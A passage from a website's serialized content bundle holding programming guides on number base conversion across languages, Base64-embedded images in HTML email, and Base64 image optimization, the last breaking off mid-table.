'b')  # '11111111'\n",[16,10017,10018],{},"For bases beyond 16, you need a custom function — Python doesn't include one.",[33,10020,9860],{"id":1609},[16,10022,10023,10024,10027,10028,10031],{},"JavaScript uses ",[143,10025,10026],{},"toString(radix)"," for output and ",[143,10029,10030],{},"parseInt(string, radix)"," for input:",[135,10033,10035],{"className":1607,"code":10034,"language":1609,"meta":141,"style":141},"\u002F\u002F Decimal to other bases\n(255).toString(16)  \u002F\u002F 'ff'\n(255).toString(8)   \u002F\u002F '377'\n(255).toString(2)   \u002F\u002F '11111111'\n\n\u002F\u002F Other bases to decimal\nparseInt('ff', 16)    \u002F\u002F 255\nparseInt('377', 8)    \u002F\u002F 255\nparseInt('11111111', 2)  \u002F\u002F 255\n",[143,10036,10037,10042,10064,10085,10105,10109,10114,10134,10151],{"__ignoreMap":141},[1560,10038,10039],{"class":1562,"line":1563},[1560,10040,10041],{"class":1649},"\u002F\u002F Decimal to other bases\n",[1560,10043,10044,10046,10048,10050,10053,10055,10058,10061],{"class":1562,"line":337},[1560,10045,1688],{"class":1570},[1560,10047,5400],{"class":1576},[1560,10049,9368],{"class":1570},[1560,10051,10052],{"class":1566},"toString",[1560,10054,1688],{"class":1570},[1560,10056,10057],{"class":1576},"16",[1560,10059,10060],{"class":1570},")  ",[1560,10062,10063],{"class":1649},"\u002F\u002F 'ff'\n",[1560,10065,10066,10068,10070,10072,10074,10076,10079,10082],{"class":1562,"line":343},[1560,10067,1688],{"class":1570},[1560,10069,5400],{"class":1576},[1560,10071,9368],{"class":1570},[1560,10073,10052],{"class":1566},[1560,10075,1688],{"class":1570},[1560,10077,10078],{"class":1576},"8",[1560,10080,10081],{"class":1570},")   ",[1560,10083,10084],{"class":1649},"\u002F\u002F '377'\n",[1560,10086,10087,10089,10091,10093,10095,10097,10100,10102],{"class":1562,"line":365},[1560,10088,1688],{"class":1570},[1560,10090,5400],{"class":1576},[1560,10092,9368],{"class":1570},[1560,10094,10052],{"class":1566},[1560,10096,1688],{"class":1570},[1560,10098,10099],{"class":1576},"2",[1560,10101,10081],{"class":1570},[1560,10103,10104],{"class":1649},"\u002F\u002F '11111111'\n",[1560,10106,10107],{"class":1562,"line":889},[1560,10108,1702],{"emptyLinePlaceholder":363},[1560,10110,10111],{"class":1562,"line":1710},[1560,10112,10113],{"class":1649},"\u002F\u002F Other bases to decimal\n",[1560,10115,10116,10119,10121,10124,10126,10128,10131],{"class":1562,"line":1717},[1560,10117,10118],{"class":1566},"parseInt",[1560,10120,1688],{"class":1570},[1560,10122,10123],{"class":5634},"'ff'",[1560,10125,1459],{"class":1570},[1560,10127,10057],{"class":1576},[1560,10129,10130],{"class":1570},")    ",[1560,10132,10133],{"class":1649},"\u002F\u002F 255\n",[1560,10135,10136,10138,10140,10143,10145,10147,10149],{"class":1562,"line":1747},[1560,10137,10118],{"class":1566},[1560,10139,1688],{"class":1570},[1560,10141,10142],{"class":5634},"'377'",[1560,10144,1459],{"class":1570},[1560,10146,10078],{"class":1576},[1560,10148,10130],{"class":1570},[1560,10150,10133],{"class":1649},[1560,10152,10153,10155,10157,10160,10162,10164,10166],{"class":1562,"line":2507},[1560,10154,10118],{"class":1566},[1560,10156,1688],{"class":1570},[1560,10158,10159],{"class":5634},"'11111111'",[1560,10161,1459],{"class":1570},[1560,10163,10099],{"class":1576},[1560,10165,10060],{"class":1570},[1560,10167,10133],{"class":1649},[16,10169,10170,1663,10173,10176,10177,10179,10180,10182],{},[47,10171,10172],{},"Caveat",[143,10174,10175],{},"parseInt('08')"," returns ",[143,10178,5285],{}," in older JavaScript engines because it interpreted the leading ",[143,10181,5285],{}," as octal. Always pass the radix explicitly.",[33,10184,9880],{"id":10185},"java",[16,10187,10188,10189,1856,10192,10195],{},"Java provides ",[143,10190,10191],{},"Integer",[143,10193,10194],{},"Long"," class methods:",[135,10197,10200],{"className":10198,"code":10199,"language":10185,"meta":141,"style":141},"language-java shiki shiki-themes github-light github-dark","\u002F\u002F Decimal to other bases\nInteger.toHexString(255)    \u002F\u002F \"ff\"\nInteger.toOctalString(255)  \u002F\u002F \"377\"\nInteger.toBinaryString(255) \u002F\u002F \"11111111\"\n\n\u002F\u002F Other bases to decimal\nInteger.parseInt(\"ff\", 16)    \u002F\u002F 255\nInteger.parseInt(\"377\", 8)    \u002F\u002F 255\nInteger.parseInt(\"11111111\", 2)  \u002F\u002F 255\n",[143,10201,10202,10206,10211,10216,10221,10225,10229,10234,10239],{"__ignoreMap":141},[1560,10203,10204],{"class":1562,"line":1563},[1560,10205,10041],{},[1560,10207,10208],{"class":1562,"line":337},[1560,10209,10210],{},"Integer.toHexString(255)    \u002F\u002F \"ff\"\n",[1560,10212,10213],{"class":1562,"line":343},[1560,10214,10215],{},"Integer.toOctalString(255)  \u002F\u002F \"377\"\n",[1560,10217,10218],{"class":1562,"line":365},[1560,10219,10220],{},"Integer.toBinaryString(255) \u002F\u002F \"11111111\"\n",[1560,10222,10223],{"class":1562,"line":889},[1560,10224,1702],{"emptyLinePlaceholder":363},[1560,10226,10227],{"class":1562,"line":1710},[1560,10228,10113],{},[1560,10230,10231],{"class":1562,"line":1717},[1560,10232,10233],{},"Integer.parseInt(\"ff\", 16)    \u002F\u002F 255\n",[1560,10235,10236],{"class":1562,"line":1747},[1560,10237,10238],{},"Integer.parseInt(\"377\", 8)    \u002F\u002F 255\n",[1560,10240,10241],{"class":1562,"line":2507},[1560,10242,10243],{},"Integer.parseInt(\"11111111\", 2)  \u002F\u002F 255\n",[16,10245,10246,10247,1856,10250,468],{},"For arbitrary bases (2–36), use ",[143,10248,10249],{},"Integer.toString(n, radix)",[143,10251,10252],{},"Integer.parseInt(s, radix)",[11,10254,10256],{"id":10255},"writing-a-manual-base-converter","Writing a Manual Base Converter",[16,10258,10259],{},"Understanding the algorithm helps you handle cases built-in functions don't cover — like bases above 36 or custom digit sets.",[33,10261,10263],{"id":10262},"decimal-to-any-base","Decimal to Any Base",[16,10265,10266],{},"Divide by the target base repeatedly and collect remainders:",[135,10268,10270],{"className":8259,"code":10269,"language":8261,"meta":141,"style":141},"def to_base(n, base):\n    if n == 0:\n        return '0'\n    digits = '0123456789abcdefghijklmnopqrstuvwxyz'\n    result = ''\n    while n > 0:\n        result = digits[n % base] + result\n        n \u002F\u002F= base\n    return result\n\nto_base(255, 16)  # 'ff'\nto_base(255, 2)   # '11111111'\nto_base(255, 36)  # '73'\n",[143,10271,10272,10277,10282,10287,10292,10297,10302,10307,10312,10317,10321,10326,10331],{"__ignoreMap":141},[1560,10273,10274],{"class":1562,"line":1563},[1560,10275,10276],{},"def to_base(n, base):\n",[1560,10278,10279],{"class":1562,"line":337},[1560,10280,10281],{},"    if n == 0:\n",[1560,10283,10284],{"class":1562,"line":343},[1560,10285,10286],{},"        return '0'\n",[1560,10288,10289],{"class":1562,"line":365},[1560,10290,10291],{},"    digits = '0123456789abcdefghijklmnopqrstuvwxyz'\n",[1560,10293,10294],{"class":1562,"line":889},[1560,10295,10296],{},"    result = ''\n",[1560,10298,10299],{"class":1562,"line":1710},[1560,10300,10301],{},"    while n > 0:\n",[1560,10303,10304],{"class":1562,"line":1717},[1560,10305,10306],{},"        result = digits[n % base] + result\n",[1560,10308,10309],{"class":1562,"line":1747},[1560,10310,10311],{},"        n \u002F\u002F= base\n",[1560,10313,10314],{"class":1562,"line":2507},[1560,10315,10316],{},"    return result\n",[1560,10318,10319],{"class":1562,"line":2524},[1560,10320,1702],{"emptyLinePlaceholder":363},[1560,10322,10323],{"class":1562,"line":2529},[1560,10324,10325],{},"to_base(255, 16)  # 'ff'\n",[1560,10327,10328],{"class":1562,"line":2534},[1560,10329,10330],{},"to_base(255, 2)   # '11111111'\n",[1560,10332,10333],{"class":1562,"line":2542},[1560,10334,10335],{},"to_base(255, 36)  # '73'\n",[33,10337,10339],{"id":10338},"any-base-to-decimal","Any Base to Decimal",[16,10341,10342],{},"Multiply each digit by its place value and sum:",[135,10344,10346],{"className":8259,"code":10345,"language":8261,"meta":141,"style":141},"def from_base(s, base):\n    digits = '0123456789abcdefghijklmnopqrstuvwxyz'\n    result = 0\n    for char in s.lower():\n        result = result * base + digits.index(char)\n    return result\n\nfrom_base('ff', 16)    # 255\nfrom_base('11111111', 2)  # 255\n",[143,10347,10348,10353,10357,10362,10367,10372,10376,10380,10385],{"__ignoreMap":141},[1560,10349,10350],{"class":1562,"line":1563},[1560,10351,10352],{},"def from_base(s, base):\n",[1560,10354,10355],{"class":1562,"line":337},[1560,10356,10291],{},[1560,10358,10359],{"class":1562,"line":343},[1560,10360,10361],{},"    result = 0\n",[1560,10363,10364],{"class":1562,"line":365},[1560,10365,10366],{},"    for char in s.lower():\n",[1560,10368,10369],{"class":1562,"line":889},[1560,10370,10371],{},"        result = result * base + digits.index(char)\n",[1560,10373,10374],{"class":1562,"line":1710},[1560,10375,10316],{},[1560,10377,10378],{"class":1562,"line":1717},[1560,10379,1702],{"emptyLinePlaceholder":363},[1560,10381,10382],{"class":1562,"line":1747},[1560,10383,10384],{},"from_base('ff', 16)    # 255\n",[1560,10386,10387],{"class":1562,"line":2507},[1560,10388,10389],{},"from_base('11111111', 2)  # 255\n",[11,10391,10393],{"id":10392},"common-pitfalls","Common Pitfalls",[33,10395,10397],{"id":10396},"case-sensitivity","Case Sensitivity",[16,10399,10400,10401,10404,10405,10407],{},"Hex strings may arrive uppercase (",[143,10402,10403],{},"FF",") or lowercase (",[143,10406,5258],{},"). Always normalize case before parsing, or use case-insensitive comparison.",[33,10409,10411],{"id":10410},"zero-prefix-ambiguity","Zero Prefix Ambiguity",[16,10413,10414,10415,10417,10418,10421],{},"A leading ",[143,10416,5285],{}," can mean octal or just be a zero-padded decimal. In Python 3, ",[143,10419,10420],{},"0123"," is a syntax error. In older JavaScript, it parsed as octal. Always use explicit radix parameters.",[33,10423,10425],{"id":10424},"negative-numbers","Negative Numbers",[16,10427,10428,10430,10431,10176,10434,10437],{},[143,10429,10026],{}," in JavaScript produces a signed representation for negative numbers: ",[143,10432,10433],{},"(-255).toString(16)",[143,10435,10436],{},"'-ff'",". If you're working with two's complement representations, you need manual bit masking.",[33,10439,10441],{"id":10440},"floating-point-precision","Floating-Point Precision",[16,10443,10444,10445,10448,10449,10452],{},"Built-in functions work with integers. Converting large floating-point numbers between bases introduces precision loss. Use ",[143,10446,10447],{},"BigInt"," (JavaScript) or ",[143,10450,10451],{},"decimal"," (Python) for large values.",[11,10454,10456],{"id":10455},"arbitrary-bases-beyond-36","Arbitrary Bases Beyond 36",[16,10458,10459],{},"Most built-in converters max out at base 36 (0–9, a–z). For higher bases, extend the digit set:",[135,10461,10463],{"className":8259,"code":10462,"language":8261,"meta":141,"style":141},"def to_base62(n):\n    \"\"\"Base62: 0-9, a-z, A-Z — common for URL shorteners.\"\"\"\n    digits = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\n    if n == 0:\n        return '0'\n    result = ''\n    while n > 0:\n        result = digits[n % 62] + result\n        n \u002F\u002F= 62\n    return result\n",[143,10464,10465,10470,10475,10480,10484,10488,10492,10496,10501,10506],{"__ignoreMap":141},[1560,10466,10467],{"class":1562,"line":1563},[1560,10468,10469],{},"def to_base62(n):\n",[1560,10471,10472],{"class":1562,"line":337},[1560,10473,10474],{},"    \"\"\"Base62: 0-9, a-z, A-Z — common for URL shorteners.\"\"\"\n",[1560,10476,10477],{"class":1562,"line":343},[1560,10478,10479],{},"    digits = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\n",[1560,10481,10482],{"class":1562,"line":365},[1560,10483,10281],{},[1560,10485,10486],{"class":1562,"line":889},[1560,10487,10286],{},[1560,10489,10490],{"class":1562,"line":1710},[1560,10491,10296],{},[1560,10493,10494],{"class":1562,"line":1717},[1560,10495,10301],{},[1560,10497,10498],{"class":1562,"line":1747},[1560,10499,10500],{},"        result = digits[n % 62] + result\n",[1560,10502,10503],{"class":1562,"line":2507},[1560,10504,10505],{},"        n \u002F\u002F= 62\n",[1560,10507,10508],{"class":1562,"line":2524},[1560,10509,10316],{},[16,10511,10512],{},"Base62 is popular for URL shortening and unique ID generation because it produces compact, URL-safe strings.",[11,10514,1355],{"id":1354},[41,10516,10517,10520,10527,10530,10533,10536],{},[44,10518,10519],{},"Most languages have built-in functions for common bases (2, 8, 10, 16) — learn them before writing custom code",[44,10521,10522,10523,10526],{},"Always pass the radix explicitly to ",[143,10524,10525],{},"parseInt()"," and similar functions to avoid ambiguity",[44,10528,10529],{},"Manual conversion algorithms (divide-and-collect, multiply-and-sum) work for any base up to your digit set size",[44,10531,10532],{},"Watch out for case sensitivity, zero-prefix ambiguity, negative number handling, and floating-point precision",[44,10534,10535],{},"For bases above 36, extend the digit set with uppercase letters or custom characters",[44,10537,10538],{},"Understand the algorithm even if you use built-in functions — it helps debug edge cases",[11,10540,321],{"id":320},[41,10542,10543,10549,10555],{},[44,10544,10545],{},[98,10546,10548],{"href":10547},"\u002Fguides\u002Fnumber-systems-explained","Number Systems Explained",[44,10550,10551],{},[98,10552,10554],{"href":10553},"\u002Fguides\u002Fhexadecimal-guide","Hexadecimal Guide",[44,10556,10557],{},[98,10558,10560],{"href":10559},"\u002Fguides\u002Fbinary-number-system","Binary Number System",[11,10562,286],{"id":285},[16,10564,10565,10566,10570],{},"Convert between any number base instantly with our free ",[98,10567,10569],{"href":10568},"\u002Ftools\u002Fnumber-base","Number Base Converter",". Enter a value in decimal, binary, octal, or hex and see all conversions at once.",[2043,10572,10573],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":10575},[10576,10577,10582,10586,10592,10593,10594,10595],{"id":9801,"depth":337,"text":9802},{"id":9811,"depth":337,"text":9812,"children":10578},[10579,10580,10581],{"id":8261,"depth":343,"text":9840},{"id":1609,"depth":343,"text":9860},{"id":10185,"depth":343,"text":9880},{"id":10255,"depth":337,"text":10256,"children":10583},[10584,10585],{"id":10262,"depth":343,"text":10263},{"id":10338,"depth":343,"text":10339},{"id":10392,"depth":337,"text":10393,"children":10587},[10588,10589,10590,10591],{"id":10396,"depth":343,"text":10397},{"id":10410,"depth":343,"text":10411},{"id":10424,"depth":343,"text":10425},{"id":10440,"depth":343,"text":10441},{"id":10455,"depth":337,"text":10456},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to convert between number bases in Python, JavaScript, Java, and more — with built-in functions and manual algorithms.",{"immutable":363},"\u002Fguides\u002Fbase-conversion-programming-languages",{"title":9796,"description":10596},"guides\u002Fbase-conversion-programming-languages","JfnR_7W0XfZwvBg7tBEkm9fqmcYPdpjIMmUwRVr-qTg",{"id":10603,"title":10604,"body":10605,"date":2070,"description":10936,"extension":361,"meta":10937,"navigation":363,"path":10938,"readingTime":1710,"seo":10939,"stem":10940,"__hash__":10941},"guides\u002Fguides\u002Fbase64-email-images.md","Base64 Images in HTML Emails",{"type":8,"value":10606,"toc":10929},[10607,10610,10614,10617,10665,10668,10671,10675,10678,10773,10776,10779,10783,10786,10844,10847,10850,10854,10857,10863,10869,10875,10879,10882,10892,10902,10912,10915,10926],[16,10608,10609],{},"HTML email remains one of the most constrained rendering environments on the web. Unlike browsers, email clients impose strict limits on CSS, JavaScript, and external resources. Embedding images directly into the email as Base64 data URIs seems like an elegant workaround—no external hosting, no broken image links, and everything travels as a single MIME message. But the reality is more complicated.",[11,10611,10613],{"id":10612},"how-base64-image-embedding-works-in-email","How Base64 Image Embedding Works in Email",[16,10615,10616],{},"A Base64-encoded image is embedded directly in the HTML using a data URI:",[135,10618,10620],{"className":6417,"code":10619,"language":6419,"meta":141,"style":141},"\u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAA...\"\n     alt=\"Header banner\" width=\"600\" height=\"200\">\n",[143,10621,10622,10637],{"__ignoreMap":141},[1560,10623,10624,10626,10629,10632,10634],{"class":1562,"line":1563},[1560,10625,6431],{"class":1570},[1560,10627,10628],{"class":2484},"img",[1560,10630,10631],{"class":1566}," src",[1560,10633,7297],{"class":1570},[1560,10635,10636],{"class":5634},"\"data:image\u002Fpng;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAA...\"\n",[1560,10638,10639,10642,10644,10647,10650,10652,10655,10658,10660,10663],{"class":1562,"line":337},[1560,10640,10641],{"class":1566},"     alt",[1560,10643,7297],{"class":1570},[1560,10645,10646],{"class":5634},"\"Header banner\"",[1560,10648,10649],{"class":1566}," width",[1560,10651,7297],{"class":1570},[1560,10653,10654],{"class":5634},"\"600\"",[1560,10656,10657],{"class":1566}," height",[1560,10659,7297],{"class":1570},[1560,10661,10662],{"class":5634},"\"200\"",[1560,10664,6441],{"class":1570},[16,10666,10667],{},"The encoding converts binary image data into an ASCII-safe string. The email client decodes this string back into the original image for display. No separate HTTP request is needed to fetch the image from a server.",[16,10669,10670],{},"In theory, this eliminates several common email problems: images referenced from servers that go offline, tracking pixels blocked by privacy-focused clients, and the need to maintain an image hosting infrastructure.",[11,10672,10674],{"id":10673},"client-compatibility-reality","Client Compatibility Reality",[16,10676,10677],{},"The single biggest problem with Base64 images in email is inconsistent client support. The email ecosystem is fragmented, and support for data URIs varies widely:",[193,10679,10680,10692],{},[196,10681,10682],{},[199,10683,10684,10687,10690],{},[202,10685,10686],{},"Email Client",[202,10688,10689],{},"Base64 Support",[202,10691,2683],{},[211,10693,10694,10704,10714,10724,10735,10745,10754,10764],{},[199,10695,10696,10699,10701],{},[216,10697,10698],{},"Gmail (web)",[216,10700,6117],{},[216,10702,10703],{},"Strips data URIs entirely; images shown as broken",[199,10705,10706,10709,10711],{},[216,10707,10708],{},"Gmail (mobile)",[216,10710,6117],{},[216,10712,10713],{},"Same stripping behavior as web",[199,10715,10716,10719,10721],{},[216,10717,10718],{},"Outlook (desktop)",[216,10720,6117],{},[216,10722,10723],{},"Uses Word rendering engine; no data URI support",[199,10725,10726,10729,10732],{},[216,10727,10728],{},"Outlook (web)",[216,10730,10731],{},"Partial",[216,10733,10734],{},"May display small data URIs; strips larger ones",[199,10736,10737,10740,10742],{},[216,10738,10739],{},"Apple Mail",[216,10741,3057],{},[216,10743,10744],{},"Full data URI support",[199,10746,10747,10750,10752],{},[216,10748,10749],{},"iOS Mail",[216,10751,3057],{},[216,10753,10744],{},[199,10755,10756,10759,10761],{},[216,10757,10758],{},"Yahoo Mail",[216,10760,10731],{},[216,10762,10763],{},"Inconsistent; often strips data URIs",[199,10765,10766,10769,10771],{},[216,10767,10768],{},"Thunderbird",[216,10770,3057],{},[216,10772,10744],{},[16,10774,10775],{},"Gmail alone represents approximately 30% of all email opens. Combined with Outlook desktop—which dominates corporate environments—over half of typical email recipients cannot see Base64 embedded images.",[16,10777,10778],{},"This compatibility gap makes Base64 embedding unsuitable for any email where image display is critical, such as marketing campaigns or transactional messages with visual branding.",[11,10780,10782],{"id":10781},"size-and-deliverability-concerns","Size and Deliverability Concerns",[16,10784,10785],{},"Base64 encoding inflates image size by roughly 33%. A 100KB PNG becomes approximately 133KB of text in the email body. Most email providers impose message size limits:",[193,10787,10788,10801],{},[196,10789,10790],{},[199,10791,10792,10795,10798],{},[202,10793,10794],{},"Provider",[202,10796,10797],{},"Size Limit",[202,10799,10800],{},"Base64 Effective Limit",[211,10802,10803,10814,10825,10835],{},[199,10804,10805,10808,10811],{},[216,10806,10807],{},"Gmail",[216,10809,10810],{},"25 MB",[216,10812,10813],{},"~18.75 MB of raw images",[199,10815,10816,10819,10822],{},[216,10817,10818],{},"Outlook.com",[216,10820,10821],{},"20 MB (incoming)",[216,10823,10824],{},"~15 MB of raw images",[199,10826,10827,10830,10833],{},[216,10828,10829],{},"Exchange Server",[216,10831,10832],{},"Configurable (default 10-35 MB)",[216,10834,3078],{},[199,10836,10837,10840,10842],{},[216,10838,10839],{},"Yahoo",[216,10841,10810],{},[216,10843,10813],{},[16,10845,10846],{},"Large Base64 payloads also trigger spam filters. Messages with unusually large HTML bodies score higher on spam detection heuristics, particularly when the payload exceeds 100KB. Multiple embedded images can push a message past this threshold quickly.",[16,10848,10849],{},"Additionally, email clients download the entire message before displaying it. A 500KB email with Base64 images feels slower to open than one with linked images that load progressively.",[11,10851,10853],{"id":10852},"when-base64-works-in-email","When Base64 Works in Email",[16,10855,10856],{},"Despite the limitations, a few narrow use cases benefit from Base64 embedding:",[16,10858,10859,10862],{},[47,10860,10861],{},"Internal emails to known Apple Mail users."," If your entire organization uses Apple devices, Base64 images work reliably. This is common in creative agencies where everyone uses macOS and iOS.",[16,10864,10865,10868],{},[47,10866,10867],{},"Micro-elements under 1KB."," Tiny decorative elements like 1px tracking dots or small inline icons (under 500 bytes raw) may survive client stripping and add minimal size overhead. Test with your specific audience before relying on this.",[16,10870,10871,10874],{},[47,10872,10873],{},"Fallback alongside hosted images."," Some templating strategies embed a Base64 version while also referencing a hosted version, letting the client choose. This doubles the email size but provides redundancy.",[11,10876,10878],{"id":10877},"practical-alternatives","Practical Alternatives",[16,10880,10881],{},"For most email campaigns, the alternatives are more reliable:",[16,10883,10884,10887,10888,10891],{},[47,10885,10886],{},"Hosted images with CID references."," The traditional approach embeds images as MIME parts in the email and references them with Content-ID headers (",[143,10889,10890],{},"cid:image001","). Most desktop clients support this, though Gmail strips CID references and requires proxy-loading hosted images instead.",[16,10893,10894,10897,10898,10901],{},[47,10895,10896],{},"Hosted images with absolute URLs."," The simplest and most widely supported method. Upload images to a CDN and use absolute URLs in ",[143,10899,10900],{},"\u003Cimg>"," tags. All major clients support this after the user clicks \"Load images\" for the first time.",[16,10903,10904,10907,10908,10911],{},[47,10905,10906],{},"SVG for simple graphics."," Some clients render inline SVG markup (not as data URI but as actual ",[143,10909,10910],{},"\u003Csvg>"," elements), letting you include simple icons and logos without any image references. Apple Mail and Thunderbird support this; Gmail and Outlook do not.",[16,10913,10914],{},"Given the compatibility landscape, hosted images with absolute URLs remain the safest choice for production email. Reserve Base64 embedding for internal prototypes or environments where you control the client software.",[16,10916,10917,10918,10922,10923,10925],{},"For converting images to Base64 data URIs for testing purposes, the ",[98,10919,10921],{"href":10920},"\u002Ftools\u002Fimage-to-base64","Image to Base64 tool"," accepts common image formats and outputs the full ",[143,10924,10900],{}," tag ready for use.",[2043,10927,10928],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":10930},[10931,10932,10933,10934,10935],{"id":10612,"depth":337,"text":10613},{"id":10673,"depth":337,"text":10674},{"id":10781,"depth":337,"text":10782},{"id":10852,"depth":337,"text":10853},{"id":10877,"depth":337,"text":10878},"Using embedded Base64 images in email templates — compatibility, limits, and alternatives.",{},"\u002Fguides\u002Fbase64-email-images",{"title":10604,"description":10936},"guides\u002Fbase64-email-images","Ovkqj-wL3Hx-IoxLwBzci4VhhXj0bHsHSLpP35-llvA",{"id":10943,"title":10944,"body":10945,"date":2070,"description":12215,"extension":361,"meta":12216,"navigation":363,"path":12217,"readingTime":1717,"seo":12218,"stem":12219,"__hash__":12220},"guides\u002Fguides\u002Fbase64-image-optimization.md","Base64 Image Optimization: Size, Caching, and Lazy Loading",{"type":8,"value":10946,"toc":12189},[10947,10951,10962,10965,10969,10972,10998,11002,11075,11079,11165,11169,11172,11176,11247,11251,11285,11289,11322,11326,11391,11394,11398,11401,11405,11679,11685,11689,11749,11810,11814,11817,11821,11867,11871,11990,11994,12059,12068,12072,12075,12125,12128,12130,12154,12156,12164,12166,12186],[11,10948,10950],{"id":10949},"why-optimize-before-you-encode","Why Optimize Before You Encode?",[16,10952,10953,10954,10957,10958,10961],{},"Base64 encoding adds 33% overhead on top of whatever you feed it. Every unnecessary byte in the original image becomes 1.33 bytes in the Data URI. Optimize the image ",[47,10955,10956],{},"first",", encode ",[47,10959,10960],{},"second"," — the savings compound.",[16,10963,10964],{},"A 20 KB PNG that compresses to 8 KB becomes 10.7 KB as Base64 instead of 26.7 KB. That is a 60% reduction from a simple optimization step.",[11,10966,10968],{"id":10967},"step-1-compress-before-encoding","Step 1: Compress Before Encoding",[16,10970,10971],{},"Compression is the single biggest lever. Follow this order:",[77,10973,10974,10980,10986,10992],{},[44,10975,10976,10979],{},[47,10977,10978],{},"Choose the right format"," — WebP for photos, PNG for sharp edges and transparency, SVG for icons and illustrations",[44,10981,10982,10985],{},[47,10983,10984],{},"Strip metadata"," — EXIF data, color profiles, and thumbnails add hidden bytes",[44,10987,10988,10991],{},[47,10989,10990],{},"Run a lossy optimizer"," — tools like Squoosh, ImageOptim, or Sharp reduce file size with minimal visual loss",[44,10993,10994,10997],{},[47,10995,10996],{},"Resize to display size"," — never encode a 2000 px image that renders at 200 px",[33,10999,11001],{"id":11000},"tool-examples","Tool Examples",[135,11003,11005],{"className":6951,"code":11004,"language":6953,"meta":141,"style":141},"# Sharp (Node.js) — resize, convert, and compress\nnpx sharp-cli -i logo.png -o logo-optimized.webp --resize 128 --format webp --quality 80\n\n# Squoosh CLI — lossy compression with visual comparison\nnpx @nicolo-ribaudo\u002Fsquoosh-cli --webp '{\"quality\":80}' logo.png\n",[143,11006,11007,11012,11050,11054,11059],{"__ignoreMap":141},[1560,11008,11009],{"class":1562,"line":1563},[1560,11010,11011],{"class":1649},"# Sharp (Node.js) — resize, convert, and compress\n",[1560,11013,11014,11017,11020,11023,11026,11029,11032,11035,11038,11041,11044,11047],{"class":1562,"line":337},[1560,11015,11016],{"class":1566},"npx",[1560,11018,11019],{"class":5634}," sharp-cli",[1560,11021,11022],{"class":1576}," -i",[1560,11024,11025],{"class":5634}," logo.png",[1560,11027,11028],{"class":1576}," -o",[1560,11030,11031],{"class":5634}," logo-optimized.webp",[1560,11033,11034],{"class":1576}," --resize",[1560,11036,11037],{"class":1576}," 128",[1560,11039,11040],{"class":1576}," --format",[1560,11042,11043],{"class":5634}," webp",[1560,11045,11046],{"class":1576}," --quality",[1560,11048,11049],{"class":1576}," 80\n",[1560,11051,11052],{"class":1562,"line":343},[1560,11053,1702],{"emptyLinePlaceholder":363},[1560,11055,11056],{"class":1562,"line":365},[1560,11057,11058],{"class":1649},"# Squoosh CLI — lossy compression with visual comparison\n",[1560,11060,11061,11063,11066,11069,11072],{"class":1562,"line":889},[1560,11062,11016],{"class":1566},[1560,11064,11065],{"class":5634}," @nicolo-ribaudo\u002Fsquoosh-cli",[1560,11067,11068],{"class":1576}," --webp",[1560,11070,11071],{"class":5634}," '{\"quality\":80}'",[1560,11073,11074],{"class":5634}," logo.png\n",[33,11076,11078],{"id":11077},"compression-impact-on-base64","Compression Impact on Base64",[193,11080,11081,11100],{},[196,11082,11083],{},[199,11084,11085,11088,11091,11094,11097],{},[202,11086,11087],{},"Optimization",[202,11089,11090],{},"Original",[202,11092,11093],{},"After Compress",[202,11095,11096],{},"After Base64",[202,11098,11099],{},"Savings",[211,11101,11102,11117,11133,11149],{},[199,11103,11104,11107,11110,11112,11115],{},[216,11105,11106],{},"Raw PNG icon",[216,11108,11109],{},"12 KB",[216,11111,3060],{},[216,11113,11114],{},"16 KB",[216,11116,3060],{},[199,11118,11119,11122,11124,11127,11130],{},[216,11120,11121],{},"Optimized PNG",[216,11123,11109],{},[216,11125,11126],{},"4 